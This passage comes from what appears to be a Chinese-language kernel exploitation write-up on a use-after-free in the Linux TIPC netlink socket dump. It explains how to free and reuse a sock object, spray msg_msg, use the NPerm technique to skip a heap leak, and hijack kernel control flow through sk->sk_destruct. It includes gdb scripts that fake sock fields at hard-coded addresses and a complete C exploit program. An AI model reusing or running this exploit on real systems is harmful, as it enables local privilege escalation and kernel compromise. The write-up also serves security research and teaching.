  1. 将ref_cnt和locked设置为1(此时ref_cnt被递增到2,但线程阻塞成功)
  2. 将ref_cnt重置为1,locked设置为0(放行线程执行后续的递减ref_cnt至0,触发释放)

触发sock的释放有什么用呢?这里有两种选择:

  1. 走dataonly的通用exploit,分配一块内存复用sock,这里会将那块内存进行释放,再分配即可完成对该内存的完全控制
  2. 走ROP方式的exploit(本文用的是这种,后续如果弄出通用版本的exploit作者会上传到GitHub共享出来)

sk_free有这么一条调用链:

sk_free -> __sk_free -> sk_destruct -> __sk_destruct

而在__sk_destruct函数中有这么一段代码,如果sk->sk_destruct回调存在则执行,那么不难想到,可以将一条gadget的地址写入到sk->sk_destruct中,即可劫持内核的程序流

static void __sk_destruct(struct rcu_head *head)
{
	struct sock *sk = container_of(head, struct sock, sk_rcu);
	struct net *net = sock_net(sk);
	struct sk_filter *filter;

	if (sk->sk_destruct)
		sk->sk_destruct(sk);
  ......
}


六、利用过程

明确了利用的思路就得考虑一个比较现实的问题了,该用哪种复用内存的方式呢?似乎各有优劣

作者一开始选择的是复用iter->p解引用指针指向的内存,也就是无需泄露的方式。堆喷msg_msg打cross_cache复用内存,但碰到了一个问题,在release_sock释放锁时会检测sk->sk_lock.wq(线程锁的等待队列,默认是指向自身),这里有指针需要伪造,否则会出现空指针解引用

void release_sock(struct sock *sk)
{
	spin_lock_bh(&sk->sk_lock.slock);
	if (sk->sk_backlog.tail)
		__release_sock(sk);

	if (sk->sk_prot->release_cb)
		INDIRECT_CALL_INET_1(sk->sk_prot->release_cb,
				     tcp_release_cb, sk);

	sock_release_ownership(sk);
	if (waitqueue_active(&sk->sk_lock.wq))
		wake_up(&sk->sk_lock.wq);
	spin_unlock_bh(&sk->sk_lock.slock);
}

但是选择这种复用内存的方式就是在无泄露的前提下进行的,怎么做?

gdb调试发现sk->lock.wq距离sock的偏移是0x150左右,如果单纯只是确保它没问题,我们可以这么做,分配写入0x110的object(大于256实际分配512,这是slab的划分,但写入不会覆盖到后面的sk->lock.wq)

但这么做有一个弊端,tipc_sock的大小是0x400(1024,slab占用4张连续的物理页),msg_msg的大小是0x200(512,slab占用2张连续的物理页),slab对应的物理页阶不一样加之其它因素干扰,内存复用的概率并不大(作者测试在默认情况下,大概测一小时才命中一次)

这还只是小问题,在后续测试中发现,kernel会对sk->sk_prot(偏移0x28)进行解引用,如果该处没有伪造同样会出现空指针解引用

void release_sock(struct sock *sk)
{
	spin_lock_bh(&sk->sk_lock.slock);
	if (sk->sk_backlog.tail)
		__release_sock(sk);

	if (sk->sk_prot->release_cb)
		INDIRECT_CALL_INET_1(sk->sk_prot->release_cb,
				     tcp_release_cb, sk);

	sock_release_ownership(sk);
	if (waitqueue_active(&sk->sk_lock.wq))
		wake_up(&sk->sk_lock.wq);
	spin_unlock_bh(&sk->sk_lock.slock);
}

而msg_msg头部0x30字节是header,无法控制,所以需要使用其它结构体复用比如skb数据包(不是存储元数据的sk_buff,是分配用来存储实际数据的),但后续的测试还反馈出更严重的问题

sock释放会检测另一个引用计数,而该成员的位置位于不可覆盖的sk->lock.wq之后,并且劫持程序流需要伪造的sk->sk_destruct也在这之后

void sk_free(struct sock *sk)
{
	/*
	 * We subtract one from sk_wmem_alloc and can know if
	 * some packets are still in some tx queue.
	 * If not null, sock_wfree() will call __sk_free(sk) later
	 */
	if (refcount_dec_and_test(&sk->sk_wmem_alloc))
		__sk_free(sk);
}

这意味着使用这种方式复用内存几乎不可行(除非能伪造出sk->lock.wq),那么怎么做?

​

换种方式复用内存咯,但是怎么解决无泄露的问题?事实上已经有师傅研究出来利用技术了 -> NPerm & NPermv2

该技术利用的是内核镜像的.init段使用完后释放但未解除映射(这个很关键,我们在用户态包括内核态用到的地址都是虚拟地址,而之所以能访问是因为其与物理内存之间存在映射,不了解但感兴趣的师傅可以查阅相关资料),而用户态在喷射内存时有机会能复用.init段,这还是得泄露啊,有什么用呢?

虽然同样要泄露,但难度却截然不同,泄露内核堆地址需要找到指定偏移有指针成员指向内存本身(因为一般uaf读是读取某几个字段值),并且有时候还需要考虑堆喷策略,确保能分配到那块内存

但是NPerm则无需考虑这种问题,因为泄露内核代码段地址相对来说是容易一些,像早期甚至直接读取一些文件都有内核代码段地址残留,现在最主流的就是类似于prefetch这种侧信道泄露手法

​

那么接下来思路就比较明确了,劫持程序流主要分三步:

  1. Nperm布置payload(主要是将ref_cnt和locked设置为1,还有就是设置一些成员满足条件)
  2. 复用iter->p指向的内存,伪造指针指向Nperm布置payload的地方
  3. Nperm布置新的payload(主要是将ref_cnt重置为1,locked设置为0)

首先gdb在0xffffffff822f0167下断点(触发第二次断点),观察此时iter->p解引用的地址,被exploit成功伪造变成了NPerm布置payload的地址

gdb操作内存模拟NPerm布置的内存布局,下面是set.gdb的code:

memset 0xffffffff836c2000 0 0x400
set ((struct sock *)0xffffffff836c2000)->sk_lock.slock.rlock.raw_lock.locked=1
set ((struct sock *)0xffffffff836c2000)->__sk_common.skc_refcnt.refs.counter=1
set ((struct sock *)0xffffffff836c2000)->sk_wmem_alloc=1
set {long}0xffffffff836c2158=0xffffffff836c2150 //sk->lock.wq
set {long}0xffffffff836c2150=0xffffffff836c2150
set {long}0xffffffff836c2028=0xffffffff8360bda0 //sk->prot
set {long}0xffffffff836c22d0=0xffffffff810e9f20 //sk->sk_destruct

断开gdb连接后重连,此时内核会往下执行到增加引用计数,并在获取自旋锁时线程忙等待,再次设置内存模拟第二次NPerm

下断点到__sk_destruct即可见内核程序流劫持成功

简易版exploit:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sched.h>
#include <stdint.h>

#ifndef AF_TIPC
#define AF_TIPC 30
#endif

#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define TIPC_GENL_V2_NAME "TIPCv2"
#define TIPC_NL_SOCK_GET 6

#define MAX_TIPC_SOCKETS 200
#define FIRST_BATCH 150
#define SECOND_BATCH (MAX_TIPC_SOCKETS - FIRST_BATCH)
#define MSG_QUEUE_NUM 800
#define MSG_DATA_SZ 0x3a0

struct msg_buf {
    long mtype;
    char mtext[MSG_DATA_SZ];
};

void bind_core(int id)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(id, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

struct req_msg {
    struct nlmsghdr n;
    struct genlmsghdr g;
    char buf[256];
};

int get_family_id(int fd, const char *family_name)
{
    struct req_msg req;
    char ans[2048];

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_flags = NLM_F_REQUEST;
    req.n.nlmsg_type = GENL_ID_CTRL;
    req.g.cmd = CTRL_CMD_GETFAMILY;
    req.g.version = 2;

    struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
    strcpy((char *)na + NLA_HDRLEN, family_name);
    req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0)
    {
        perror("send");
        return -1;
    }

    int rep_len = recv(fd, ans, sizeof(ans), 0);
    if (rep_len < 0)
    {
        perror("recv");
        return -1;
    }

    struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
    if (nlh->nlmsg_type == NLMSG_ERROR)
    {
        return -1;
    }

    struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
    struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
    int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

    while (len >= (int)sizeof(struct nlattr))
    {
        if (attrs->nla_type == CTRL_ATTR_FAMILY_ID)
        {
            return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
        }
        int aligned_len = NLA_ALIGN(attrs->nla_len);
        len -= aligned_len;
        attrs = (struct nlattr *)((char *)attrs + aligned_len);
    }

    return -1;
}

int main()
{
    bind_core(0);
    int msqids[MSG_QUEUE_NUM];
    struct msg_buf msg;
    memset(&msg, 0, sizeof(msg));

    for (int i = 0; i < MSG_QUEUE_NUM; i++)
    {
        key_t key = 0x1000 + i;
        msqids[i] = msgget(key, IPC_CREAT | 0600);
        if (msqids[i] == -1)
        {
            perror("msgget create failed");
            for (int j = 0; j < i; j++)
            {
                msgctl(msqids[j], IPC_RMID, NULL);
            }
            return -1;
        }
    }

    int tipc_fds[MAX_TIPC_SOCKETS];
    int created_count = 0;

    for (int i = 0; i < FIRST_BATCH; i++)
    {
        tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
        if (tipc_fds[i] < 0)
        {
            perror("Failed to create TIPC socket (Is tipc module loaded?)");
            for (int j = 0; j < created_count; j++)
            {
                close(tipc_fds[j]);
            }
            for (int j = 0; j < MSG_QUEUE_NUM; j++)
            {
                msgctl(msqids[j], IPC_RMID, NULL);
            }
            return -1;
        }
        created_count++;
    }

    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0)
    {
        perror("socket AF_NETLINK");
        for (int j = 0; j < MSG_QUEUE_NUM; j++)
        {
            msgctl(msqids[j], IPC_RMID, NULL);
        }
        return -1;
    }

    int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
    if (family_id < 0)
    {
        close(fd);
        for (int j = 0; j < MSG_QUEUE_NUM; j++)
        {
            msgctl(msqids[j], IPC_RMID, NULL);
        }
        return -1;
    }

    struct req_msg req;
    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = family_id;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    req.g.cmd = TIPC_NL_SOCK_GET;
    req.g.version = 1;

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0)
    {
        perror("send dump");
        close(fd);
        for (int j = 0; j < MSG_QUEUE_NUM; j++)
        {
            msgctl(msqids[j], IPC_RMID, NULL);
        }
        return -1;
    }

    for (int i = FIRST_BATCH; i < MAX_TIPC_SOCKETS; i++)
    {
        tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
        if (tipc_fds[i] < 0)
        {
            perror("Failed to create remaining TIPC socket");
            for (int j = 0; j < created_count; j++)
            {
                close(tipc_fds[j]);
            }
            close(fd);
            for (int j = 0; j < MSG_QUEUE_NUM; j++)
            {
                msgctl(msqids[j], IPC_RMID, NULL);
            }
            return -1;
        }
        created_count++;
    }
    sleep(1);

    for (int i = 0; i < created_count; i++)
    {
        close(tipc_fds[i]);
    }
    sleep(1);

    for (int i = 0; i < MSG_QUEUE_NUM; i++)
    {
        for (int seq = 1; seq <= 4; seq++)
        {
            memset(msg.mtext, 0, MSG_DATA_SZ);
            *(uint64_t *)(msg.mtext + 0x368) = 0xffffffff836c2398;//加上header的0x30即为0x398

            msg.mtype = ((long long)i << 32) | seq;
            if (msgsnd(msqids[i], &msg, MSG_DATA_SZ, 0) == -1)
            {
                char errinfo[128];
                snprintf(errinfo, sizeof(errinfo), "msgsnd queue%d seq%d", i, seq);
                perror(errinfo);
            }
        }
    }

    char buf[10];
    int len = recv(fd, buf, sizeof(buf), 0);
    if (len < 0)
    {
        perror("recv dump failed");
    }

    close(fd);
    return 0;
}